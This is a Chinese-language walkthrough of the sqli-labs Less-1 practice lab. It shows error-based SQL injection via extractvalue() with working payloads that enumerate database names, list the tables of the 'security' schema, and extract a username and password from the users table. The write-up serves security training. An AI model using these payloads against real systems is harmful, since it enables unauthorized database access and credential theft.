sqli-labs less-1(报错注入之extractvalue)

目录

 less-1(报错注入之extractvalue)

1.原理

2.爆破所有库

3爆破security的所有表名

4.查询users的第三行数据


 less-1(报错注入之extractvalue)

1.原理

sqli-labs less-1(报错注入之extractvalue)_第1张图片

2.爆破所有库

所有数据库名

sqli-labs less-1(报错注入之extractvalue)_第2张图片

?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e))-- -

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),1,31) from information_schema.schemata)))-- - #字母限制仅能显示31个

sqli-labs less-1(报错注入之extractvalue)_第3张图片

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),32,31) from information_schema.schemata)))-- -

sqli-labs less-1(报错注入之extractvalue)_第4张图片

?id=1' and extractvalue(1,concat(0x7e,(select substr(group_concat(schema_name),63,31) from information_schema.schemata)))-- - 

sqli-labs less-1(报错注入之extractvalue)_第5张图片

3爆破security的所有表名

Security的所有表名

sqli-labs less-1(报错注入之extractvalue)_第6张图片

?id=1’ and extractvalue(1,concat(0x7e,( select group_concat(table_name) from information_schema.tables where table_schema=’security’),0x7e))-- -

sqli-labs less-1(报错注入之extractvalue)_第7张图片

4.查询users的第三行数据

sqli-labs less-1(报错注入之extractvalue)_第8张图片

?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(username,'~',password) from security.users where id=3),0x7e))-- -

sqli-labs less-1(报错注入之extractvalue)_第9张图片

你可能感兴趣的:(sqli-labs,大数据,sql,安全,数据库)